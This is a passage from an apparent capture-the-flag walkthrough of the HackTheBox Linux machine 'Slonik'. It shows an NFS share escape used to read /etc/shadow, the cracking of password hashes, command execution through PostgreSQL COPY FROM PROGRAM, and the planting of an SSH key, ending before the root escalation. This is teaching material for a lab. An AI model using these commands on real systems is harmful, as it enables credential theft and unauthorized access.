Slonik

Slonik showcases some interesting Linux techniques around NFS and PostgreSQL. I’ll start with an insecurely configured NFS mount where I can list and read files from anywhere on the filesystem as any user except root. I’ll find hashes for a service account in the shadow file and in a postgres history file, and crack either. The service account doesn’t have a shell set, so I can’t get a shell over SSH. I can port forward to a UNIX socket, which provides access to PostgreSQL. I’ll use that to get a shell as the postgres user. To escalate to root, I’ll abuse a cron running a PostgreSQL backup utility. In Beyond Root, I’ll talk about a bug I found and fixed in Netexec and its neat NFS tools.

Box Info

Medium
Release Date 14 Oct 2025
Retire Date 14 Oct 2025
OS Linux Linux
Non-competitive release: no bloods
Creator xct
Scenario
The User flag for this Box is located in a non-standard directory, /var/lib/postgresql.

Recon

Initial Scanning

nmap finds eight open TCP ports, SSH (22), RPC (111, related high ports), and NFS (2049):

oxdf@hacky$ sudo nmap -p- -vvv --min-rate 10000 10.129.234.160
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-02-09 14:33 UTC
...[snip]...
Nmap scan report for 10.129.234.160
Host is up, received echo-reply ttl 63 (0.023s latency).
Scanned at 2026-02-09 14:33:59 UTC for 8s
Not shown: 65527 closed tcp ports (reset)
PORT      STATE SERVICE REASON
22/tcp    open  ssh     syn-ack ttl 63
111/tcp   open  rpcbind syn-ack ttl 63
2049/tcp  open  nfs     syn-ack ttl 63
40553/tcp open  unknown syn-ack ttl 63
46397/tcp open  unknown syn-ack ttl 63
48491/tcp open  unknown syn-ack ttl 63
56923/tcp open  unknown syn-ack ttl 63
59135/tcp open  unknown syn-ack ttl 63

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 8.04 seconds
           Raw packets sent: 79587 (3.502MB) | Rcvd: 65753 (2.630MB)
oxdf@hacky$ sudo nmap -p 22,111,2049,40553,46397,48491,56923,59135 -sCV 10.129.234.160
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-02-09 14:34 UTC
Nmap scan report for 10.129.234.160
Host is up (0.022s latency).

PORT      STATE SERVICE  VERSION
22/tcp    open  ssh      OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 2d:8d:0a:43:a7:58:20:73:6b:8c:fc:b0:d1:2f:45:07 (ECDSA)
|_  256 82:fb:90:b0:eb:ac:20:a2:53:5e:3c:7c:d3:3c:34:79 (ED25519)
111/tcp   open  rpcbind  2-4 (RPC #100000)
| rpcinfo:
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100003  3,4         2049/tcp   nfs
|   100003  3,4         2049/tcp6  nfs
|   100005  1,2,3      42414/udp6  mountd
|   100005  1,2,3      48479/tcp6  mountd
|   100005  1,2,3      48491/tcp   mountd
|   100005  1,2,3      52599/udp   mountd
|   100021  1,3,4      39407/udp   nlockmgr
|   100021  1,3,4      44675/tcp6  nlockmgr
|   100021  1,3,4      46397/tcp   nlockmgr
|   100021  1,3,4      54499/udp6  nlockmgr
|   100024  1          50524/udp6  status
|   100024  1          56576/udp   status
|   100024  1          59135/tcp   status
|   100024  1          60369/tcp6  status
|   100227  3           2049/tcp   nfs_acl
|_  100227  3           2049/tcp6  nfs_acl
2049/tcp  open  nfs_acl  3 (RPC #100227)
40553/tcp open  mountd   1-3 (RPC #100005)
46397/tcp open  nlockmgr 1-4 (RPC #100021)
48491/tcp open  mountd   1-3 (RPC #100005)
56923/tcp open  mountd   1-3 (RPC #100005)
59135/tcp open  status   1 (RPC #100024)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.63 seconds

Based on the OpenSSH version, the host is likely running Ubuntu 22.04 jammy LTS (or potentially 22.10 kinetic).

All of the ports show a TTL of 63, which matches the expected TTL for Linux one hop away.

NFS - TCP 2049

List Shares

showmount -e will list the available mounts (shares) over NFS:

oxdf@hacky$ showmount -e 10.129.234.160
Export list for 10.129.234.160:
/var/backups *
/home        *

There are two. netexec will show this as well:

oxdf@hacky$ netexec nfs 10.129.234.160 --enum-shares
NFS         10.129.234.160    41393  10.129.234.160     [*] Supported NFS versions: (3, 4) (root escape:True)
NFS         10.129.234.160    41393  10.129.234.160     [*] Enumerating NFS Shares Directories
NFS         10.129.234.160    41393  10.129.234.160     [+] /var/backups
NFS         10.129.234.160    41393  10.129.234.160     UID        Perms    File Size      File Path                                     Access List
NFS         10.129.234.160    41393  10.129.234.160     ---        -----    ---------      ---------                                     -----------
NFS         10.129.234.160    41393  10.129.234.160     0          r--      5.1MB          /var/backups/archive-2026-02-11T0155.zip      *
NFS         10.129.234.160    41393  10.129.234.160     0          r--      5.1MB          /var/backups/archive-2026-02-11T0152.zip      *
NFS         10.129.234.160    41393  10.129.234.160     0          r--      5.1MB          /var/backups/archive-2026-02-11T0153.zip      *
NFS         10.129.234.160    41393  10.129.234.160     0          r--      5.1MB          /var/backups/archive-2026-02-11T0156.zip      *
NFS         10.129.234.160    41393  10.129.234.160     0          r--      5.1MB          /var/backups/archive-2026-02-11T0151.zip      *
NFS         10.129.234.160    41393  10.129.234.160     0          r--      5.1MB          /var/backups/archive-2026-02-11T0154.zip      *
NFS         10.129.234.160    41393  10.129.234.160     [+] /home
NFS         10.129.234.160    41393  10.129.234.160     UID        Perms    File Size      File Path                                     Access List
NFS         10.129.234.160    41393  10.129.234.160     ---        -----    ---------      ---------                                     -----------
NFS         10.129.234.160    41393  10.129.234.160     1337       r--      90.0B          /home/service/.bash_history                   *
NFS         10.129.234.160    41393  10.129.234.160     1337       r--      0B             /home/service/.cache/motd.legal-displayed     *
NFS         10.129.234.160    41393  10.129.234.160     1337       r--      326.0B         /home/service/.psql_history                   *
NFS         10.129.234.160    41393  10.129.234.160     1337       r--      807.0B         /home/service/.profile                        *
NFS         10.129.234.160    41393  10.129.234.160     1337       r--      3.7KB          /home/service/.bashrc                         *
NFS         10.129.234.160    41393  10.129.234.160     1337       r--      220.0B         /home/service/.bash_logout                    *
NFS         10.129.234.160    41393  10.129.234.160     1337       r--      96.0B          /home/service/.ssh/authorized_keys            *
NFS         10.129.234.160    41393  10.129.234.160     1337       r--      96.0B          /home/service/.ssh/id_ed25519.pub             *
NFS         10.129.234.160    41393  10.129.234.160     1337       r--      -              /home/service/.local/share/                   *

It also lists the files in the shares, as well as highlights root escape:True. The netexec wiki has a page on this.

I’ll break out of the share using netexec and the --ls flag:

oxdf@hacky$ netexec nfs 10.129.234.160 --ls /
NFS         10.129.234.160  48491  10.129.234.160   [*] Supported NFS versions: (3, 4) (root escape:True)
NFS         10.129.234.160  48491  10.129.234.160   [+] Successful escape on share: /var/backups
NFS         10.129.234.160  48491  10.129.234.160   UID        Perms  File Size     File Path
NFS         10.129.234.160  48491  10.129.234.160   ---        -----  ---------     ---------
NFS         10.129.234.160  48491  10.129.234.160   0          dr--   4.0KB         /.
NFS         10.129.234.160  48491  10.129.234.160   0          dr--   4.0KB         /..
NFS         10.129.234.160  48491  10.129.234.160   0          -rwx   7.0B          /bin
NFS         10.129.234.160  48491  10.129.234.160   0          dr--   4.0KB         /boot
NFS         10.129.234.160  48491  10.129.234.160   0          dr--   4.0KB         /dev
NFS         10.129.234.160  48491  10.129.234.160   0          dr--   4.0KB         /etc
NFS         10.129.234.160  48491  10.129.234.160   0          dr--   4.0KB         /home
NFS         10.129.234.160  48491  10.129.234.160   0          -rwx   7.0B          /lib
NFS         10.129.234.160  48491  10.129.234.160   0          -rwx   9.0B          /lib32
NFS         10.129.234.160  48491  10.129.234.160   0          -rwx   9.0B          /lib64
NFS         10.129.234.160  48491  10.129.234.160   0          -rwx   10.0B         /libx32
NFS         10.129.234.160  48491  10.129.234.160   0          d---   16.0KB        /lost+found
NFS         10.129.234.160  48491  10.129.234.160   0          dr--   4.0KB         /media
NFS         10.129.234.160  48491  10.129.234.160   0          dr--   4.0KB         /mnt
NFS         10.129.234.160  48491  10.129.234.160   0          dr--   4.0KB         /opt
NFS         10.129.234.160  48491  10.129.234.160   0          dr--   4.0KB         /proc
NFS         10.129.234.160  48491  10.129.234.160   0          d---   4.0KB         /root
NFS         10.129.234.160  48491  10.129.234.160   0          dr--   4.0KB         /run
NFS         10.129.234.160  48491  10.129.234.160   0          -rwx   8.0B          /sbin
NFS         10.129.234.160  48491  10.129.234.160   0          dr--   4.0KB         /snap
NFS         10.129.234.160  48491  10.129.234.160   0          dr--   4.0KB         /srv
NFS         10.129.234.160  48491  10.129.234.160   0          dr--   4.0KB         /sys
NFS         10.129.234.160  48491  10.129.234.160   0          dr--   4.0KB         /tmp
NFS         10.129.234.160  48491  10.129.234.160   0          dr--   4.0KB         /usr
NFS         10.129.234.160  48491  10.129.234.160   0          dr--   4.0KB         /var

etc

There are a handful of interesting things to find over the NFS share. I’ll grab a copy of passwd and shadow:

oxdf@hacky$ netexec nfs 10.129.234.160 --get-file /etc/passwd passwd
NFS         10.129.234.160  48491  10.129.234.160   [*] Supported NFS versions: (3, 4) (root escape:True)
NFS         10.129.234.160  48491  10.129.234.160   [*] Downloading /etc/passwd to passwd
NFS         10.129.234.160  48491  10.129.234.160   File successfully downloaded from /etc/passwd to passwd
oxdf@hacky$ netexec nfs 10.129.234.160 --get-file /etc/shadow shadow
NFS         10.129.234.160  48491  10.129.234.160   [*] Supported NFS versions: (3, 4) (root escape:True)
NFS         10.129.234.160  48491  10.129.234.160   [*] Downloading /etc/shadow to shadow
NFS         10.129.234.160  48491  10.129.234.160   File successfully downloaded from /etc/shadow to shadow

The only users with shells set in passwd are root and postgres:

oxdf@hacky$ cat passwd | grep 'sh$'
root:x:0:0:root:/root:/bin/bash
postgres:x:115:123:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash

I’ll also note the service user:

oxdf@hacky$ cat passwd | grep service
service:x:1337:1337:,,,,default password:/home/service:/bin/false

They have user ID 1337, and their shell is set to /bin/false, which will block logging in over SSH.

The only users with passwords are root and service:

oxdf@hacky$ cat shadow | grep '\$'
root:$y$j9T$nHJOa2A9rTXPQi3rqjrDI/$mbo9VYMotfEvj4Va5D7Lv0AOzdHRuMwGf.4nue0pZe3:19654:0:99999:7:::
service:$y$j9T$4gRKP9kqW6NvhFfcFU2mL/$KT6bU.KoVCaBDQjkmUIkni5qWJaCTzScIz4B8XwqT/7:19654:0:99999:7:::

I’ll go into why I can read shadow but not root.txt in Beyond Root. These hashes are yescrypt, and hashcat doesn’t easily do them, but john does:

oxdf@hacky$ john --wordlist=./rockyou.txt ./shadow.hashes 
Using default input encoding: UTF-8
Loaded 2 password hashes with 2 different salts (crypt, generic crypt(3) [?/64])
Cost 1 (algorithm [0:unknown 1:descrypt 2:md5crypt 3:sunmd5 4:bcrypt 5:sha256crypt 6:sha512crypt 7:scrypt 10:yescrypt 11:gost-yescrypt]) is 10 for all loaded hashes
Cost 2 (algorithm specific iterations) is 1 for all loaded hashes
Will run 12 OpenMP threads
Note: Passwords longer than 24 [worst case UTF-8] to 72 [ASCII] rejected
Press 'q' or Ctrl-C to abort, 'h' for help, almost any other key for status
service          (?)     
1g 0:00:01:02 0.09% (ETA: 18:17:41) 0.01612g/s 261.6p/s 410.1c/s 410.1C/s bored..michelle13
Use the "--show" option to display all of the cracked passwords reliably
Session aborted

It cracks in less than a minute (it won’t be able to crack the root password).

The NFS shares are configured in /etc/exports:

/home                  *(ro,root_squash,sync,no_subtree_check)
/var/backups           *(ro,root_squash,sync,no_subtree_check)

no_subtree_check is what allows escaping the share boundary to read the entire file system. root_squash means that I can’t impersonate the root user (which makes sense as then this box would be over).

Home Directories

There’s only service with a home directory in /home:

oxdf@hacky$ netexec nfs 10.129.234.160 --ls /home
NFS         10.129.234.160  48491  10.129.234.160   [*] Supported NFS versions: (3, 4) (root escape:True)
NFS         10.129.234.160  48491  10.129.234.160   [+] Successful escape on share: /var/backups
NFS         10.129.234.160  48491  10.129.234.160   UID        Perms  File Size     File Path
NFS         10.129.234.160  48491  10.129.234.160   ---        -----  ---------     ---------
NFS         10.129.234.160  48491  10.129.234.160   0          dr--   4.0KB         /home/.
NFS         10.129.234.160  48491  10.129.234.160   0          dr--   4.0KB         /home/..
NFS         10.129.234.160  48491  10.129.234.160   1337       d---   4.0KB         /home/service
oxdf@hacky$ netexec nfs 10.129.234.160 --ls /home/service
NFS         10.129.234.160  48491  10.129.234.160   [*] Supported NFS versions: (3, 4) (root escape:True)
NFS         10.129.234.160  48491  10.129.234.160   [+] Successful escape on share: /var/backups
NFS         10.129.234.160  48491  10.129.234.160   UID        Perms  File Size     File Path
NFS         10.129.234.160  48491  10.129.234.160   ---        -----  ---------     ---------
NFS         10.129.234.160  48491  10.129.234.160   1337       dr--   4.0KB         /home/service/.
NFS         10.129.234.160  48491  10.129.234.160   0          dr--   4.0KB         /home/service/..
NFS         10.129.234.160  48491  10.129.234.160   1337       -r--   90.0B         /home/service/.bash_history
NFS         10.129.234.160  48491  10.129.234.160   1337       -r--   220.0B        /home/service/.bash_logout
NFS         10.129.234.160  48491  10.129.234.160   1337       -r--   3.7KB         /home/service/.bashrc
NFS         10.129.234.160  48491  10.129.234.160   1337       dr--   4.0KB         /home/service/.cache
NFS         10.129.234.160  48491  10.129.234.160   1337       dr--   4.0KB         /home/service/.local
NFS         10.129.234.160  48491  10.129.234.160   1337       -r--   807.0B        /home/service/.profile
NFS         10.129.234.160  48491  10.129.234.160   1337       -r--   326.0B        /home/service/.psql_history
NFS         10.129.234.160  48491  10.129.234.160   1337       dr--   4.0KB         /home/service/.ssh

Now I’ll mount the share:

oxdf@hacky$ sudo mount -t nfs 10.129.234.160:/home /mnt 
oxdf@hacky$ cd /mnt/

As oxdf (user ID 1000), I can’t access service’s home directory:

oxdf@hacky$ cd service/
-bash: cd: service/: Permission denied

I can create a user, which I’ll name service, and make sure their user ID in passwd is 1337. Because of how NFS works, as service I can read files:

oxdf@hacky$ sudo su service
$ bash
service@hacky:/mnt$ cd service
service@hacky:/mnt/service$ ls -la
total 40
drwxr-x--- 5 service service_nfs 4096 Sep 22 12:46 .
drwxr-xr-x 3 root    root        4096 Oct 24  2023 ..
-rw-r--r-- 1 service service_nfs   90 Sep 22 12:46 .bash_history
-rw-r--r-- 1 service service_nfs  220 Oct 24  2023 .bash_logout
-rw-r--r-- 1 service service_nfs 3771 Oct 24  2023 .bashrc
drwx------ 2 service service_nfs 4096 Oct 24  2023 .cache
drwxrwxr-x 3 service service_nfs 4096 Oct 24  2023 .local
-rw-r--r-- 1 service service_nfs  807 Oct 24  2023 .profile
-rw-r--r-- 1 service service_nfs  326 Sep 22 12:46 .psql_history
drwxrwxr-x 2 service service_nfs 4096 Oct 24  2023 .ssh

But Claude actually taught me a slicker way, using sudo, and I don’t have to create the user:

oxdf@hacky$ sudo -u '#1337' cat /mnt/service/.bash_history
ls -lah /var/run/postgresql/
file /var/run/postgresql/.s.PGSQL.5432
psql -U postgres
exit

The .bash_history file shows a socket in use by the Postgres process.

.ssh has a public key, but no private key. The .psql_history file shows the creation of a user’s table:

oxdf@hacky$ sudo -u '#1337' cat /mnt/service/.psql_history
CREATE DATABASE service;
\c service;
CREATE TABLE users ( id SERIAL PRIMARY KEY, username VARCHAR(255) NOT NULL, password VARCHAR(255) NOT NULL, description TEXT);
INSERT INTO users (username, password, description)VALUES ('service', 'aaabf0d39951f3e6c3e8a7911df524c2'WHERE', network access account');
select * from users;
\q

That’s an MD5 that’s immediately crackable in CrackStation:

image-20260209203821971

That matches what I found in shadow.

Backups

The /var/backups directory was shared out as a NFS share, and it has backups created every minute:

oxdf@hacky$ netexec nfs 10.129.234.160 --ls /var/backups
NFS         10.129.234.160  48491  10.129.234.160   [*] Supported NFS versions: (3, 4) (root escape:True)
NFS         10.129.234.160  48491  10.129.234.160   [+] Successful escape on share: /var/backups
NFS         10.129.234.160  48491  10.129.234.160   UID        Perms  File Size     File Path
NFS         10.129.234.160  48491  10.129.234.160   ---        -----  ---------     ---------
NFS         10.129.234.160  48491  10.129.234.160   0          dr--   4.0KB         /var/backups/.
NFS         10.129.234.160  48491  10.129.234.160   0          dr--   4.0KB         /var/backups/..
NFS         10.129.234.160  48491  10.129.234.160   0          -r--   4.5MB         /var/backups/archive-2026-02-10T0131.zip
NFS         10.129.234.160  48491  10.129.234.160   0          -r--   4.5MB         /var/backups/archive-2026-02-10T0132.zip
NFS         10.129.234.160  48491  10.129.234.160   0          -r--   4.5MB         /var/backups/archive-2026-02-10T0133.zip
NFS         10.129.234.160  48491  10.129.234.160   0          -r--   4.5MB         /var/backups/archive-2026-02-10T0134.zip
NFS         10.129.234.160  48491  10.129.234.160   0          -r--   4.5MB         /var/backups/archive-2026-02-10T0135.zip
NFS         10.129.234.160  48491  10.129.234.160   0          -r--   4.5MB         /var/backups/archive-2026-02-10T0136.zip
NFS         10.129.234.160  48491  10.129.234.160   0          -r--   4.5MB         /var/backups/archive-2026-02-10T0137.zip
NFS         10.129.234.160  48491  10.129.234.160   0          -r--   4.5MB         /var/backups/archive-2026-02-10T0138.zip
NFS         10.129.234.160  48491  10.129.234.160   0          -r--   4.5MB         /var/backups/archive-2026-02-10T0139.zip

These files are all owned by root, but they are world-readable so I can access them:

oxdf@hacky$ netexec nfs 10.129.234.160 --get-file /var/backups/archive-2026-02-10T0131.zip archive-2026-02-10T0131.zip
NFS         10.129.234.160    41393  10.129.234.160     [*] Supported NFS versions: (3, 4) (root escape:True)
NFS         10.129.234.160    41393  10.129.234.160     [*] Downloading /var/backups/archive-2026-02-10T0131.zip to archive-2026-02-10T0131.zip
NFS         10.129.234.160    41393  10.129.234.160     File successfully downloaded from /var/backups/archive-2026-02-10T0131.zip to archive-2026-02-10T0131.zip

The archive contains a backup of /opt/backups/current which looks like a backup of PostgreSQL (and is, using the PostgreSQL application pg_basebackup). There’s nothing too interesting here.

Shell as postgres

Create Tunnel to PostgreSQL

I got the creds for the service account, and they work:

oxdf@hacky$ netexec ssh 10.129.234.160 -u service -p service
SSH         10.129.234.160  22     10.129.234.160   [*] SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.13
SSH         10.129.234.160  22     10.129.234.160   [+] service:service  Network Devices

If I try to connect, it just prints the connection message and then fails:

oxdf@hacky$ sshpass -p service ssh service@10.129.234.160
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@/     %@@@@@@@@@@.      @&             @@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@   ############.    ############   ##########*  &@@@@@@@@@@@@@@@
@@@@@@@@@@@  ###############  ###################  /##########  @@@@@@@@@@@@@
@@@@@@@@@@ ###############( #######################(  #########  @@@@@@@@@@@@
@@@@@@@@@  ############### (#########################  ######### @@@@@@@@@@@@
@@@@@@@@@ .##############  ###########################( #######  @@@@@@@@@@@@
@@@@@@@@@  ############## (        ##############        ######  @@@@@@@@@@@@
@@@@@@@@@. ############## #####   # .########### ##  ##  #####. @@@@@@@@@@@@@
@@@@@@@@@@ .############# /########  ########### *##### ###### @@@@@@@@@@@@@@
@@@@@@@@@@. ############# (########( ###########/ ##### ##### (@@@@@@@@@@@@@@
@@@@@@@@@@@  ###########( #########, ############( ####  ### (@@@@@@@@@@@@@@@
@@@@@@@@@@@@ (##########/ #########  ##############  ##  #( @@@@@@@@@@@@@@@@@
@@@@@@@@@@@@( ###########  #######  ################  / #  @@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@  ############  ####  ###################    @@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@, ##########  @@@      ################            (@@@@@@@@@@@
@@@@@@@@@@@@@@@@ .######  @@@@   ###  ##############  #######   @@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@(  *   @. #######    ############## (@((&@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%&@@@@  #############( @@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@  #############  @@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@/ ############# ,@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ ############( @@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@  ###########  @@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@  #######*  @@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@&   @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 6.8.0-1036-aws x86_64)
...[snip]...
Connection to 10.129.234.160 closed.

It does hang for a second between the ASCII art for the elephant and the Ubuntu welcome and exit.

I want access to the UNIX socket (which is handled as a file) that the PostgreSQL db is listening on as seen in the .bash_history file. SSH can actually port forward with -L to a UNIX socket:

oxdf@hacky$ sshpass -p service ssh -N -L 5432:/var/run/postgresql/.s.PGSQL.5432 service@10.129.234.160
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ 
...[snip]...

This just hangs, and port 5432 on my host is now forwarding through the SSH connection to /var/run/postgresql/.s.PGSQL.5432 on Slonik. I can connect:

oxdf@hacky$ psql -h localhost -p 5432 -U postgres 
psql (16.11 (Ubuntu 16.11-0ubuntu0.24.04.1), server 14.19 (Ubuntu 14.19-0ubuntu0.22.04.1))
Type "help" for help.

postgres=# 

Database

Enumeration

This PostgreSQL instance has four databases:

postgres=# \list
                                                   List of databases
   Name    |  Owner   | Encoding | Locale Provider | Collate |  Ctype  | ICU Locale | ICU Rules |   Access privileges   
-----------+----------+----------+-----------------+---------+---------+------------+-----------+-----------------------
 postgres  | postgres | UTF8     | libc            | C.UTF-8 | C.UTF-8 |            |           | 
 service   | postgres | UTF8     | libc            | C.UTF-8 | C.UTF-8 |            |           | 
 template0 | postgres | UTF8     | libc            | C.UTF-8 | C.UTF-8 |            |           | =c/postgres          +
           |          |          |                 |         |         |            |           | postgres=CTc/postgres
 template1 | postgres | UTF8     | libc            | C.UTF-8 | C.UTF-8 |            |           | =c/postgres          +
           |          |          |                 |         |         |            |           | postgres=CTc/postgres
(4 rows)

The only interesting one is service, and it has one table:

postgres=# \c service
psql (16.11 (Ubuntu 16.11-0ubuntu0.24.04.1), server 14.19 (Ubuntu 14.19-0ubuntu0.22.04.1))
You are now connected to database "service" as user "postgres".
service=# \dt
         List of relations
 Schema | Name  | Type  |  Owner   
--------+-------+-------+----------
 public | users | table | postgres
(1 row)

This is the entry I saw created in the .psql_history file:

service=# select * from users;
 id | username |             password             |      description       
----+----------+----------------------------------+------------------------
  1 | service  | aaabf0d39951f3e6c3e8a7911df524c2 | network access account
(1 row)

SSH

To execute commands via PostgreSQL, I’ll create a table to store output, copy results into it, and get them:

service=# CREATE TABLE cmd(output text);
CREATE TABLE
service=# COPY cmd FROM PROGRAM 'id';
COPY 1
service=# select * from cmd;
                                 output                                 
------------------------------------------------------------------------
 uid=115(postgres) gid=123(postgres) groups=123(postgres),122(ssl-cert)
(1 row)

The passwd file shows the postgres user’s home directory is /var/lib/postgresql. It doesn’t have a .ssh directory, but I’ll create one, and give it my public key:

postgres=# COPY cmd FROM PROGRAM 'mkdir -p /var/lib/postgresql/.ssh';
COPY 0
postgres=# COPY cmd FROM PROGRAM 'chmod 700 /var/lib/postgresql/.ssh';
COPY 0

I can also pass input into a command like to do things like write a file:

service=# COPY (SELECT 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDIK/xSi58QvP1UqH+nBwpD1WQ7IaxiVdTpsg5U19G3d nobody@nothing') TO PROGRAM 'tee /var/lib/postgresql/.ssh/authorized_keys';
COPY 1

Now I can SSH into the host as postgres:

oxdf@hacky$ ssh -i ~/keys/ed25519_gen postgres@10.129.234.160
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@...[snip]...
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 6.8.0-1036-aws x86_64)
...[snip]...
postgres@slonik:~$ 

user.txt is in the postgres user’s home directory:

postgres@slonik:~$ pwd
/var/lib/postgresql
postgres@slonik:~$ ls
14  snap  user.txt
postgres@slonik:~$ cat user.txt
2b5f3f93************************

Shell as root

Enumeration

Users

I already found over NFS that the only user with a home directory in /home is service, and the only non-root user with a shell set is postgres. postgres requires a password to check sudo, which I don’t have:

postgres@slonik:/home$ sudo -l
[sudo] password for postgres:

My next step is likely to root.

Backups

I already noted above that new backups in /var/backups are being created every minute, and that it goes from /opt/backups/current:

postgres@slonik:/opt/backups$ ls -l current/
total 260
-rw------- 1 root root      3 Feb 10 11:26 PG_VERSION
-rw------- 1 root root    227 Feb 10 11:26 backup_label
-rw------- 1 root root 181443 Feb 10 11:26 backup_manifest
drwx------ 6 root root   4096 Feb 10 11:26 base
drwx------ 2 root root   4096 Feb 10 11:26 global
drwx------ 2 root root   4096 Feb 10 11:26 pg_commit_ts
drwx------ 2 root root   4096 Feb 10 11:26 pg_dynshmem
drwx------ 4 root root   4096 Feb 10 11:26 pg_logical
drwx------ 4 root root   4096 Feb 10 11:26 pg_multixact
drwx------ 2 root root   4096 Feb 10 11:26 pg_notify
drwx------ 2 root root   4096 Feb 10 11:26 pg_replslot
drwx------ 2 root root   4096 Feb 10 11:26 pg_serial
drwx------ 2 root root   4096 Feb 10 11:26 pg_snapshots
drwx------ 2 root root   4096 Feb 10 11:26 pg_stat
drwx------ 2 root root   4096 Feb 10 11:26 pg_stat_tmp
drwx------ 2 root root   4096 Feb 10 11:26 pg_subtrans
drwx------ 2 root root   4096 Feb 10 11:26 pg_tblspc
drwx------ 2 root root   4096 Feb 10 11:26 pg_twophase
drwx------ 3 root root   4096 Feb 10 11:26 pg_wal
drwx------ 2 root root   4096 Feb 10 11:26 pg_xact
-rw------- 1 root root     88 Feb 10 11:26 postgresql.auto.conf

All of the files in /opt/backups/current are created this minute. I’ll upload pspy:

oxdf@hacky$ scp -i ~/keys/ed25519_gen /opt/pspy/pspy64 postgres@10.129.234.160:/dev/shm/
...[snip]...
pspy64                                                                                                100% 3032KB   8.8MB/s   00:00

I’ll set it executable and run it:

postgres@slonik:/dev/shm$ chmod +x pspy64
postgres@slonik:/dev/shm$ ./pspy64
pspy - version: v1.2.1 - Commit SHA: f9e6a1590a4312b9faa093d8dc84e19567977a6d
...[snip]...

Every minute there’s a series of processes initiated by cron:

2026/02/10 11:30:01 CMD: UID=0     PID=681830 | /usr/sbin/CRON -f -P 
2026/02/10 11:30:01 CMD: UID=0     PID=681831 | 
2026/02/10 11:30:01 CMD: UID=0     PID=681832 | /bin/bash /usr/bin/backup 
2026/02/10 11:30:01 CMD: UID=0     PID=681833 | ???
2026/02/10 11:30:01 CMD: UID=0     PID=681834 | /usr/bin/rm -rf /opt/backups/current/PG_VERSION /opt/backups/current/backup_label /opt/backups/current/backup_manifest /opt/backups/current/base /opt/backups/current/global /opt/backups/current/pg_commit_ts /opt/backups/current/pg_dynshmem /opt/backups/current/pg_logical /opt/backups/current/pg_multixact /opt/backups/current/pg_notify /opt/backups/current/pg_replslot /opt/backups/current/pg_serial /opt/backups/current/pg_snapshots /opt/backups/current/pg_stat /opt/backups/current/pg_stat_tmp /opt/backups/current/pg_subtrans /opt/backups/current/pg_tblspc /opt/backups/current/pg_twophase /opt/backups/current/pg_wal /opt/backups/current/pg_xact /opt/backups/current/postgresql.auto.conf 
2026/02/10 11:30:01 CMD: UID=0     PID=681835 | /bin/bash /usr/bin/backup 
2026/02/10 11:30:01 CMD: UID=115   PID=681836 | postgres: 14/main: walsender postgres [local] authentication                                                              
2026/02/10 11:30:01 CMD: UID=115   PID=681837 | /usr/lib/postgresql/14/bin/postgres -D /var/lib/postgresql/14/main -c config_file=/etc/postgresql/14/main/postgresql.conf 
2026/02/10 11:30:01 CMD: UID=0     PID=681838 | /usr/lib/postgresql/14/bin/pg_basebackup -h /var/run/postgresql -U postgres -D /opt/backups/current/ 
2026/02/10 11:30:01 CMD: UID=115   PID=681839 | postgres: 14/main: autovacuum worker

It looks like cron runs /bin/bash /usr/bin/backup. I can make out most of the script from the resulting processes, but it’s easier to just look at the file:

#!/bin/bash

date=$(/usr/bin/date +"%FT%H%M")
/usr/bin/rm -rf /opt/backups/current/*
/usr/bin/pg_basebackup -h /var/run/postgresql -U postgres -D /opt/backups/current/
/usr/bin/zip -r "/var/backups/archive-$date.zip" /opt/backups/current/

count=$(/usr/bin/find "/var/backups/" -maxdepth 1 -type f -o -type d | /usr/bin/wc -l)
if [ "$count" -gt 10 ]; then
  /usr/bin/rm -rf /var/backups/*
fi

It removes all the files in /opt/backups/current, and then calls a standard PostgreSQL tool, pg_basebackup, with that as the output directory. It then zips that directory into /var/backups using the date as a name. It then counts the number of backups, and if it’s greater than 10, removes them all (which is a bit wild for a backup strategy!).

Poison Backup

The docs for pg_basebackup describe it as:

